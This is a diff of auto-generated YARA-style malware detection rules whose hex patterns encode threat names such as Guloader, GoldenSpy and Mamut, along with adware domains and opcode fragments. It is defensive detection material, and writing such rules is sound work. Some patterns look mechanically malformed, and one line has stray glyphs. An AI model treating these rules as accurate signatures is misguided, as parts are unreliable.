1b 81 01 6d 69 6e 69 6d 75 6d 73 6c 6e 67 64 65 72 } //5632 + $a_77_3 = {67 6f 6e 73 2e 65 78 65 01 00 0a 81 01 41 76 61 79 61 20 49 6e 63 2e 01 00 12 81 01 41 4c 4c 54 } //25966 condition: - ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*26988+(#a_6e_2 & 1)*25956+(#a_6c_3 & 1)*385) >=4 + ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*26988+(#a_01_2 & 1)*5632+(#a_77_3 & 1)*25966) >=4 } -rule _InfrastructureShared_8127{ +rule _InfrastructureShared_8607{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4e 4f 30 31 21 4d 54 42 00 01 00 0f 81 01 77 68 61 75 70 20 6d 61 6e 63 69 70 61 6e 74 01 00 06 81 01 62 61 74 65 74 65 01 00 16 81 01 77 69 6e 64 6f 77 73 20 73 6b 6e 61 61 6e 64 20 67 69 72 64 65 } //18467 + $a_76_2 = {6e 63 68 65 6b 61 6d 70 65 6e 65 73 20 74 65 72 74 69 72 00 00 78 7e 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 46 44 41 31 32 33 21 4d 54 42 00 01 00 09 81 01 43 4d 47 49 20 49 6e 63 2e 01 00 1b 81 01 6d 69 6e 69 6d 75 6d 73 6c 6e 67 64 65 72 6e 65 20 } //29185 + $a_6f_3 = {73 2e 65 78 65 01 00 0a 81 01 41 76 61 79 61 20 49 6e 63 2e 01 00 12 81 01 41 4c 4c 54 45 4c 20 43 6f 72 70 6f 72 61 74 69 6f 6e 00 00 78 7e 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 48 47 48 31 32 33 21 4d 54 42 00 01 00 0b 81 01 67 75 6c 64 6c 6c 65 72 6e } //24951 + condition: + ((#a_54_0 & 1)*18467+(#a_76_2 & 1)*29185+(#a_6f_3 & 1)*24951) >=4 + +} +rule _InfrastructureShared_8608{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 46 44 41 31 32 33 21 4d 54 42 00 01 00 09 81 01 43 4d 47 49 20 49 6e 63 2e 01 00 1b 81 01 6d 69 6e 69 6d 75 6d 73 6c 6e 67 64 65 72 6e 65 20 77 61 67 6f 6e 73 2e 65 78 65 01 00 0a 81 01 41 76 61 79 } //18467 $a_6e_1 = {2e 01 00 12 81 01 41 4c 4c 54 45 4c 20 43 6f 72 70 6f 72 61 74 69 6f 6e 00 00 78 7e 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 48 47 48 31 32 33 21 4d 54 42 00 01 00 0b } //8289 - $a_75_2 = {64 6c 6c 65 72 6e 65 73 01 00 14 81 01 70 6c 6f 75 67 68 6c 69 6e 65 20 6d 79 63 65 6c 69 65 74 73 01 00 14 81 01 64 61 67 64 72 69 76 65 72 69 65 72 20 6c 65 6f 70 6f 6c 64 01 00 0d 81 01 72 65 73 75 72 72 65 63 74 69 6f 6e 73 00 00 78 7e 00 00 04 00 04 00 04 00 21 23 54 45 4c 3a 42 61 63 6b 64 6f 6f 72 3a } //385 - $a_33_3 = {2f 4d 61 6c 67 65 6e 74 2e 50 52 31 21 4d 54 42 00 01 00 1b 81 01 53 61 66 65 6e 67 69 6e 65 20 53 68 69 65 6c 64 65 6e 20 76 32 2e 34 2e 30 2e 30 01 00 0e 81 01 56 69 72 74 75 61 6c 50 72 6f 74 65 63 74 01 00 05 81 01 53 6c 65 65 70 01 00 0f 81 01 43 4c 53 49 44 46 72 6f 6d 53 74 72 69 6e 67 00 00 78 7e 00 00 04 00 04 00 04 00 } //26967 + $a_75_2 = {64 6c 6c 65 72 6e 65 73 01 00 14 81 01 70 6c 6f 75 67 68 6c 69 6e 65 20 6d 79 63 65 6c 69 65 74 73 01 00 14 81 01 64 61 67 64 72 69 76 65 72 69 65 72 20 6c 65 6f 70 6f 6c 64 01 00 0d 81 01 72 65 73 75 72 72 65 63 74 69 6f 6e 73 00 00 78 7e 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 } //385 + $a_64_3 = {72 2e 52 4a 57 31 32 21 4d 54 42 00 01 00 14 81 01 75 64 74 72 79 6b 73 6d 69 64 6c 65 72 6e 65 73 2e 68 65 6c 01 00 0f 81 01 62 65 64 69 61 6d 6f 6e 64 65 64 2e 61 6e 6e 01 00 0e 81 01 70 6f 77 64 65 72 69 73 65 73 2e 62 69 6e 01 00 11 81 01 44 6f 62 62 65 6c 74 67 6e 67 65 72 6e 65 31 37 } //28524 condition: - ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*8289+(#a_75_2 & 1)*385+(#a_33_3 & 1)*26967) >=4 + ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*8289+(#a_75_2 & 1)*385+(#a_64_3 & 1)*28524) >=4 } -rule _InfrastructureShared_8128{ +rule _InfrastructureShared_8609{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 48 47 48 31 32 33 21 4d 54 42 00 01 00 0b 81 01 67 75 6c 64 6c 6c 65 72 6e 65 73 01 00 14 81 01 70 6c 6f 75 67 68 6c 69 6e 65 20 6d 79 63 65 6c 69 65 74 73 01 00 14 81 01 64 61 67 64 72 69 76 65 72 } //18467 - $a_20_1 = {65 6f 70 6f 6c 64 01 00 0d 81 01 72 65 73 75 72 72 65 63 74 69 6f 6e 73 00 00 78 7e 00 00 04 00 04 00 04 00 21 23 54 45 4c 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 4d 61 6c 67 65 6e 74 2e 50 52 31 21 4d 54 42 00 01 00 1b 81 01 53 61 66 65 6e 67 69 6e 65 20 53 68 69 65 6c 64 65 6e 20 76 32 2e 34 2e 30 2e 30 01 00 0e 81 01 56 69 72 74 } //25961 - $a_50_2 = {6f 74 65 63 74 01 00 05 81 01 53 6c 65 65 70 01 00 0f 81 01 43 4c 53 49 44 46 72 6f 6d 53 74 72 69 6e 67 00 00 78 7e 00 00 04 00 04 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 6f 6c 64 65 6e 53 70 79 2e 41 59 21 4d 53 52 00 01 00 16 80 01 5c 52 65 6c 65 61 73 65 5c 69 64 67 63 6c 69 65 6e 74 2e 70 } //24949 - $a_00_3 = {0d } //25188 + $a_20_1 = {65 6f 70 6f 6c 64 01 00 0d 81 01 72 65 73 75 72 72 65 63 74 69 6f 6e 73 00 00 78 7e 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4a 57 31 32 21 4d 54 42 00 01 00 14 81 01 75 64 74 72 79 6b 73 6d 69 64 6c 65 72 6e 65 73 2e 68 65 6c 01 00 0f 81 01 62 65 64 69 61 6d 6f 6e 64 65 64 2e 61 6e 6e 01 } //25961 + $a_01_2 = {70 6f 77 64 65 72 69 73 65 73 2e 62 69 6e 01 00 11 81 01 44 6f 62 62 65 6c 74 67 6e 67 65 72 6e 65 31 37 32 00 00 78 7e 00 00 04 00 04 00 04 00 21 23 54 45 4c 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 4d 61 6c 67 65 6e 74 2e 50 52 31 21 4d 54 42 00 01 00 1b 81 01 53 61 66 65 6e 67 69 6e 65 20 53 68 69 65 6c 64 65 6e 20 76 32 2e 34 2e 30 2e 30 01 00 0e 81 01 56 69 72 74 75 61 6c } //3584 + $a_74_3 = {63 74 01 00 05 81 01 53 6c 65 65 70 01 00 0f 81 01 43 4c 53 49 44 46 72 6f 6d 53 74 72 69 6e 67 00 00 78 7e 00 00 04 00 04 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 6f 6c 64 65 6e 53 70 79 2e 41 59 21 4d 53 52 00 01 00 16 80 01 5c 52 65 6c 65 61 73 65 5c 69 64 67 63 6c 69 65 6e 74 2e 70 64 62 01 00 0d 80 } //29264 condition: - ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*25961+(#a_50_2 & 1)*24949+(#a_00_3 & 1)*25188) >=4 + ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*25961+(#a_01_2 & 1)*3584+(#a_74_3 & 1)*29264) >=4 } -rule _InfrastructureShared_8129{ +rule _InfrastructureShared_8610{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 4a 57 31 32 21 4d 54 42 00 01 00 14 81 01 75 64 74 72 79 6b 73 6d 69 64 6c 65 72 6e 65 73 2e 68 65 6c 01 00 0f 81 01 62 65 64 69 61 6d 6f 6e 64 65 64 2e 61 6e 6e 01 00 0e 81 01 70 6f 77 64 65 72 69 } //18467 + $a_2e_1 = {69 6e 01 00 11 81 01 44 6f 62 62 65 6c 74 67 6e 67 65 72 6e 65 31 37 32 00 00 78 7e 00 00 04 00 04 00 04 00 21 23 54 45 4c 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 4d 61 6c 67 65 6e 74 2e 50 52 31 21 4d 54 42 00 01 00 1b 81 01 53 61 66 65 6e 67 69 6e 65 20 53 68 69 65 6c 64 65 6e 20 76 32 2e 34 2e 30 2e 30 01 00 0e 81 01 56 69 72 74 75 } //25971 + $a_72_2 = {74 65 63 74 01 00 05 81 01 53 6c 65 65 70 01 00 0f 81 01 43 4c 53 49 44 46 72 6f 6d 53 74 72 69 6e 67 00 00 78 7e 00 00 04 00 04 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 6f 6c 64 65 6e 53 70 79 2e 41 59 21 4d 53 } //27745 + $a_00_3 = {16 } //82 + condition: + ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*25971+(#a_72_2 & 1)*27745+(#a_00_3 & 1)*82) >=4 + +} +rule _InfrastructureShared_8611{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -86136,7 +91310,7 @@ rule _InfrastructureShared_8129{ ((#a_4c_0 & 1)*21539+(#a_75_1 & 1)*29289+(#a_73_2 & 1)*384+(#a_65_3 & 1)*28271) >=4 } -rule _InfrastructureShared_8130{ +rule _InfrastructureShared_8612{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -86149,7 +91323,7 @@ rule _InfrastructureShared_8130{ ((#a_4c_0 & 1)*21539+(#a_65_1 & 1)*24946+(#a_53_2 & 1)*10286+(#a_61_3 & 1)*26224) >=4 } -rule _InfrastructureShared_8131{ +rule _InfrastructureShared_8613{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -86162,50 +91336,86 @@ rule _InfrastructureShared_8131{ ((#a_4c_0 & 1)*21539+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_7e_3 & 1)*0) >=4 } -rule _InfrastructureShared_8132{ +rule _InfrastructureShared_8614{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " strings : $a_46_0 = {45 52 3a 48 53 54 52 3a 4d 53 49 4c 2f 50 6c 75 62 65 61 2e 41 00 01 00 0c 01 00 73 74 61 67 65 72 2e 65 78 65 00 01 00 15 01 00 43 72 61 74 65 57 69 6e 64 6f 77 42 79 44 6f 74 4e 65 74 00 01 00 06 01 00 45 78 65 63 00 01 00 0b } //21283 $a_6e_1 = {6e 73 74 61 6c 6c 00 01 00 14 01 47 00 4c 00 4f 00 42 00 41 00 4c 00 5f 00 56 00 4d 00 53 00 00 00 78 7e 00 00 04 00 04 00 0a 00 21 23 48 53 54 52 3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4f 62 66 75 73 63 61 74 6f 72 2e 45 57 00 01 00 04 01 8a 4c 2c } //1 - $a_34_3 = {01 00 04 01 88 54 2c 18 01 00 04 01 88 4c 34 18 01 00 04 01 8a 4c 04 14 01 00 05 01 0f b6 54 34 14 01 00 04 01 88 54 04 14 01 00 04 01 88 4c 34 14 01 00 05 01 0f b6 54 04 14 01 00 05 01 0f b6 4c 14 14 00 00 78 7e 00 00 05 00 05 00 03 00 21 23 41 4c 46 } //-30207 - $a_6f_4 = {61 6e 3a 4d 53 49 4c 2f 4d 61 6d 75 74 2e 4e 54 21 4d 54 42 00 03 00 2c 01 28 36 00 00 0a 7e 01 00 00 04 02 1a 58 08 6f 37 00 00 0a 28 38 00 00 0a a5 01 00 00 1b 0b 11 08 20 e5 35 0c 49 5a 20 38 6c 42 4a 61 01 00 0d 01 41 75 74 6f 6b 65 6f 78 65 2e 70 64 62 01 00 12 01 57 72 69 74 65 50 72 6f 63 65 73 73 4d 65 6d 6f 72 79 00 00 78 7e 00 00 } //21562 + $a_34_3 = {01 00 04 01 88 54 2c 18 01 00 04 01 88 4c 34 18 01 00 04 01 8a 4c 04 14 01 00 05 01 0f b6 54 34 14 01 00 04 01 88 54 04 14 01 00 04 01 88 4c 34 14 01 00 05 01 0f b6 54 04 14 01 00 05 01 0f b6 4c 14 14 00 00 78 7e 00 00 05 00 05 00 01 00 21 23 54 45 4c } //-30207 + $a_6f_4 = {61 6e 3a 57 69 6e 33 32 2f 44 6c 61 73 73 2e 50 47 49 53 21 4d 54 42 00 05 00 50 01 86 7b 6f ec 77 43 fb 67 9d bb cc ed 18 0e 30 b2 10 8c e0 55 66 40 ec b9 d6 9d 26 36 9e 22 ca c6 8e 3f dd 98 86 47 fb 94 4f 53 49 8b a5 f4 9a 3f bc 94 cc a4 16 5a 0e aa 3a a5 b6 55 25 bd 52 b5 21 81 ab 31 c0 59 8b f7 52 e1 cd dd b9 6d 1b 1b 00 00 78 7e 00 00 } //21562 condition: ((#a_46_0 & 1)*21283+(#a_6e_1 & 1)*1+(#a_34_3 & 1)*-30207+(#a_6f_4 & 1)*21562) >=4 } -rule _InfrastructureShared_8133{ +rule _InfrastructureShared_8615{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 0a 00 21 " strings : $a_54_0 = {3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4f 62 66 75 73 63 61 74 6f 72 2e 45 57 00 01 00 04 01 8a 4c 2c 18 01 00 04 01 8a 54 34 18 01 00 04 01 88 54 2c 18 01 00 04 01 88 4c 34 18 01 00 04 01 8a 4c 04 14 01 00 05 01 0f b6 54 34 14 01 00 04 01 88 } //18467 $a_01_1 = {00 04 01 88 4c 34 14 01 00 05 01 0f b6 54 04 14 01 00 05 01 } //1108 - $a_14_2 = {00 00 78 7e 00 00 05 00 05 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4d 61 6d 75 74 2e 4e 54 21 4d 54 42 00 03 00 2c 01 28 36 00 00 0a 7e 01 00 00 04 02 1a 58 08 6f 37 00 00 0a 28 38 00 00 0a a5 01 00 00 1b } //-18929 - $a_20_3 = {35 0c 49 5a 20 38 6c 42 } //4363 వ婉㠠䉬 - $a_00_4 = {0d } //24906 - $a_74_5 = {6b 65 6f 78 65 2e 70 64 62 01 00 12 01 57 72 69 74 65 50 72 6f 63 65 73 73 4d 65 6d 6f 72 79 00 00 78 7e 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 44 72 6f 70 70 65 72 2e 53 56 31 21 4d 54 42 00 01 00 08 80 01 67 61 64 61 2e 70 64 62 01 00 10 80 01 4d 41 43 48 49 4e 45 5f 4c 4f 43 4b 44 4f 57 4e 01 00 10 80 01 44 } //16641 - $a_6c_6 = {61 64 73 5c 49 70 68 6f 6e 65 01 00 0b 80 01 53 68 61 72 70 5a 69 70 4c 69 62 01 00 08 80 01 67 61 64 61 2e 65 78 65 00 00 78 7e 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 51 75 69 6c 74 72 61 6e 2e 48 21 61 6d 73 69 00 01 00 0a 01 47 00 55 00 49 00 44 00 00 00 01 00 0a 01 50 00 53 00 4b 00 26 00 00 00 01 00 0c } //30575 - $a_00_8 = {68 00 00 00 01 00 14 01 23 42 45 47 49 4e 5f 55 52 4c 53 5f 53 45 43 54 49 4f 4e 23 01 00 12 01 23 45 4e 44 5f 55 52 4c 53 5f 53 45 43 54 49 4f 4e 23 00 00 78 7e 00 00 05 00 05 00 05 00 21 23 64 6f 5f 65 78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 18 01 73 72 63 5c 75 6e 69 63 6f 64 65 5c 70 72 69 6e 74 61 62 6c 65 2e } //76 - $a_00_9 = {0a } //29554 + $a_14_2 = {00 00 78 7e 00 00 05 00 05 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 6c 61 73 73 2e 50 47 49 53 21 4d 54 42 00 05 00 50 01 86 7b 6f ec 77 43 fb 67 9d bb cc ed 18 0e 30 b2 10 8c e0 55 66 40 ec b9 d6 9d } //-18929 + $a_22_3 = {c6 8e 3f dd 98 86 47 fb 94 4f 53 49 8b a5 f4 9a 3f bc 94 cc a4 16 5a 0e aa 3a a5 b6 55 25 bd 52 b5 21 81 ab 31 c0 59 8b f7 52 e1 cd dd b9 6d 1b 1b 00 00 78 7e 00 00 05 00 05 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 72 61 66 74 6f 72 2e 41 48 42 21 4d 54 42 00 03 00 20 03 33 f6 8b c6 8a 9e 90 01 04 99 f7 f9 8a 92 90 01 04 32 da 88 9e 90 01 04 46 83 fe 20 7c e1 90 00 02 00 2b 01 f7 d1 2b f9 8b f7 8b d1 8d bd 28 01 00 00 83 c9 ff f2 ae 8b ca 4f } //13862 + $a_f3_4 = {8b ca } //-5695 + $a_00_5 = {00 00 83 e1 03 50 f3 a4 ff d3 00 00 78 7e 00 00 05 00 05 00 04 00 21 23 41 4c 46 3a 50 55 41 44 6c 4d 61 6e 61 67 65 72 3a 57 69 6e 33 32 2f 53 6f 66 74 50 75 6c 73 2e 61 77 37 38 00 02 00 12 80 01 6e 31 34 39 61 64 73 65 72 76 2e 63 6f 6d 2f 61 64 73 01 00 0b 80 01 74 67 75 68 6f 73 74 2e 63 6f 6d 01 00 15 80 01 6f 66 66 65 72 49 6e 73 74 61 6c 6c 43 6f 6d 70 6c 65 74 65 64 01 00 09 80 01 53 65 74 75 70 2e 65 78 65 00 00 78 7e 00 00 05 00 05 00 04 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 44 6f 77 6e 6c 6f 61 64 53 70 6f 6e 73 6f 72 00 02 00 1c 80 01 61 70 69 2e 63 68 69 70 2d 73 65 63 75 72 65 64 2d 64 6f 77 6e 6c 6f 61 64 2e 64 65 01 00 12 80 01 4f 43 53 61 67 62 2d 62 72 61 6e 64 65 64 } //-31347 + $a_70_6 = {00 0b 80 01 77 77 77 2e 63 68 69 70 2e 64 65 01 00 0d 80 01 61 67 62 2d 70 72 6f 78 79 2e 70 68 70 00 00 78 7e 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 44 72 6f 70 70 65 72 2e 53 56 31 21 4d 54 42 00 01 00 08 80 01 67 61 64 61 2e 70 64 62 01 00 10 80 01 4d 41 43 48 49 4e 45 } //28718 + $a_43_7 = {44 4f 57 4e 01 00 10 80 01 44 6f 77 6e 6c 6f 61 64 73 5c 49 70 68 6f 6e 65 01 00 0b 80 01 53 68 61 72 70 5a 69 70 4c 69 62 01 00 08 80 01 67 61 64 61 2e 65 78 65 00 00 78 7e 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 51 } //19551 + $a_74_8 = {61 6e 2e 48 21 61 6d 73 69 00 01 00 0a 01 47 00 55 00 49 00 44 00 00 00 01 00 0a 01 50 00 53 00 4b 00 26 00 00 00 01 00 0c 01 55 00 52 00 4c 00 73 00 68 00 00 00 01 00 14 01 23 42 45 47 49 4e 5f 55 52 4c 53 5f 53 45 43 54 49 4f 4e 23 01 00 12 01 23 45 4e 44 5f 55 52 4c 53 5f 53 45 43 54 49 4f 4e 23 00 00 78 7e 00 00 05 00 } //26997 + $a_00_9 = {21 23 64 6f 5f } //5 !#do_ condition: - ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*1108+(#a_14_2 & 1)*-18929+(#a_20_3 & 1)*4363+(#a_00_4 & 1)*24906+(#a_74_5 & 1)*16641+(#a_6c_6 & 1)*30575+(#a_00_8 & 1)*76+(#a_00_9 & 1)*29554) >=4 + ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*1108+(#a_14_2 & 1)*-18929+(#a_22_3 & 1)*13862+(#a_f3_4 & 1)*-5695+(#a_00_5 & 1)*-31347+(#a_70_6 & 1)*28718+(#a_43_7 & 1)*19551+(#a_74_8 & 1)*26997+(#a_00_9 & 1)*5) >=4 } -rule _InfrastructureShared_8134{ +rule _InfrastructureShared_8616{ meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 21 " + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4d 61 6d 75 74 2e 4e 54 21 4d 54 42 00 03 00 2c 01 28 36 00 00 0a 7e 01 00 00 04 02 1a 58 08 6f 37 00 00 0a 28 38 00 00 0a a5 01 00 00 1b 0b 11 08 20 e5 35 0c 49 5a 20 38 6c 42 4a 61 01 00 0d } //16675 - $a_74_1 = {6b 65 6f 78 65 2e 70 64 62 01 00 12 01 57 72 69 74 65 50 72 6f 63 65 73 73 4d 65 6d 6f 72 79 00 00 78 7e 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 44 72 6f 70 70 65 72 2e 53 56 31 21 4d 54 42 00 01 00 08 80 01 67 61 64 61 2e 70 64 62 01 00 10 80 01 4d 41 43 48 49 4e 45 5f 4c 4f 43 4b 44 4f 57 4e 01 00 10 80 01 44 } //16641 - $a_6c_2 = {61 64 73 5c 49 70 68 6f 6e 65 01 00 0b 80 01 53 68 61 72 70 5a 69 70 4c 69 62 01 00 08 80 01 67 61 64 61 2e 65 78 65 00 00 78 7e 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 51 75 69 6c 74 72 61 6e 2e 48 21 61 6d 73 69 00 01 00 0a 01 47 00 55 00 49 00 44 00 00 00 01 00 0a 01 50 00 53 00 4b 00 26 00 00 00 01 00 0c } //30575 + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 6c 61 73 73 2e 50 47 49 53 21 4d 54 42 00 05 00 50 01 86 7b 6f ec 77 43 fb 67 9d bb cc ed 18 0e 30 b2 10 8c e0 55 66 40 ec b9 d6 9d 26 36 9e 22 ca c6 8e 3f dd 98 86 } //21539 condition: - ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*16641+(#a_6c_2 & 1)*30575) >=5 + ((#a_4c_0 & 1)*21539) >=5 } -rule _InfrastructureShared_8135{ +rule _InfrastructureShared_8617{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 72 61 66 74 6f 72 2e 41 48 42 21 4d 54 42 00 03 00 20 03 33 f6 8b c6 8a 9e 90 01 04 99 f7 f9 8a 92 90 01 04 32 da 88 9e 90 01 04 46 83 fe 20 7c e1 90 00 02 00 2b 01 } //21539 + $a_f9_1 = {f7 8b d1 8d bd 28 01 00 00 83 c9 ff f2 ae 8b ca 4f c1 e9 02 f3 a5 8b ca 8d 85 e8 00 00 00 83 e1 03 50 f3 a4 ff d3 00 00 78 7e 00 } //-11785 + condition: + ((#a_4c_0 & 1)*21539+(#a_f9_1 & 1)*-11785) >=5 + +} +rule _InfrastructureShared_8618{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " + + strings : + $a_46_0 = {50 55 41 44 6c 4d 61 6e 61 67 65 72 3a 57 69 6e 33 32 2f 53 6f 66 74 50 75 6c 73 2e 61 77 37 38 00 02 00 12 80 01 6e 31 34 39 61 64 73 65 72 76 2e 63 6f 6d 2f 61 64 73 01 00 0b 80 01 74 67 75 68 6f 73 74 2e 63 6f 6d 01 00 15 80 } //16675 + $a_66_1 = {72 49 6e 73 74 61 6c 6c 43 6f 6d 70 6c 65 74 65 64 01 00 09 80 01 53 65 74 75 70 2e 65 78 65 00 00 78 7e 00 00 05 00 05 00 04 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 44 6f 77 6e 6c 6f 61 64 53 70 6f 6e 73 6f 72 00 02 00 1c 80 01 61 70 69 2e 63 68 69 70 2d 73 65 63 75 72 65 64 2d 64 6f 77 6e 6c 6f 61 64 2e } //28417 + $a_00_2 = {12 } //25956 + $a_43_3 = {61 67 62 2d 62 72 61 6e 64 65 64 2e 70 68 70 01 00 0b 80 01 77 77 77 2e 63 68 69 70 2e 64 65 01 00 0d 80 01 61 67 62 2d 70 72 6f 78 79 2e 70 68 70 00 00 78 7e 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f } //384 + condition: + ((#a_46_0 & 1)*16675+(#a_66_1 & 1)*28417+(#a_00_2 & 1)*25956+(#a_43_3 & 1)*384) >=5 + +} +rule _InfrastructureShared_8619{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " + + strings : + $a_41_0 = {42 6c 6f 63 6b 3a 44 6f 77 6e 6c 6f 61 64 53 70 6f 6e 73 6f 72 00 02 00 1c 80 01 61 70 69 2e 63 68 69 70 2d 73 65 63 75 72 65 64 2d 64 6f 77 6e 6c 6f 61 64 2e 64 65 01 00 12 80 01 4f 43 53 61 67 62 2d 62 72 61 6e 64 65 64 2e 70 68 70 01 00 0b 80 01 77 77 } //20515 + $a_68_1 = {70 2e 64 65 01 00 0d 80 01 61 67 62 2d 70 72 6f 78 79 2e 70 68 70 00 00 78 7e 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 44 72 6f 70 70 65 72 2e 53 56 31 21 4d 54 42 00 01 00 08 80 01 67 61 64 61 2e 70 64 62 01 00 10 80 01 4d 41 43 48 49 4e 45 5f 4c 4f 43 4b 44 } //11895 + $a_01_2 = {00 10 80 01 44 6f 77 6e 6c 6f 61 64 73 5c 49 70 68 6f 6e 65 01 00 0b 80 01 53 68 61 72 70 5a 69 70 4c 69 62 01 00 08 80 01 67 61 64 61 2e 65 78 65 00 00 78 7e 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 51 75 69 6c 74 } //22351 + $a_2e_3 = {21 61 6d 73 69 00 01 00 0a 01 47 00 55 00 49 00 44 00 00 00 01 00 0a 01 50 00 53 00 4b 00 26 00 00 00 01 00 0c 01 55 00 52 00 4c 00 73 00 68 00 00 00 01 00 14 01 23 42 45 47 49 4e 5f 55 52 4c 53 5f 53 45 43 54 49 4f 4e 23 01 00 12 01 23 45 4e 44 5f 55 52 4c 53 5f 53 45 43 54 49 4f 4e 23 00 00 78 7e 00 00 05 00 05 00 05 00 21 23 } //24946 + condition: + ((#a_41_0 & 1)*20515+(#a_68_1 & 1)*11895+(#a_01_2 & 1)*22351+(#a_2e_3 & 1)*24946) >=5 + +} +rule _InfrastructureShared_8620{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -86218,7 +91428,7 @@ rule _InfrastructureShared_8135{ ((#a_46_0 & 1)*16675+(#a_68_1 & 1)*18780+(#a_23_3 & 1)*5120+(#a_5f_4 & 1)*18759) >=5 } -rule _InfrastructureShared_8136{ +rule _InfrastructureShared_8621{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -86232,7 +91442,7 @@ rule _InfrastructureShared_8136{ ((#a_54_0 & 1)*18467+(#a_49_1 & 1)*17221+(#a_65_2 & 1)*25185+(#a_00_3 & 1)*66+(#a_90_4 & 1)*2560) >=5 } -rule _InfrastructureShared_8137{ +rule _InfrastructureShared_8622{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -86245,7 +91455,7 @@ rule _InfrastructureShared_8137{ ((#a_5f_0 & 1)*25635+(#a_00_2 & 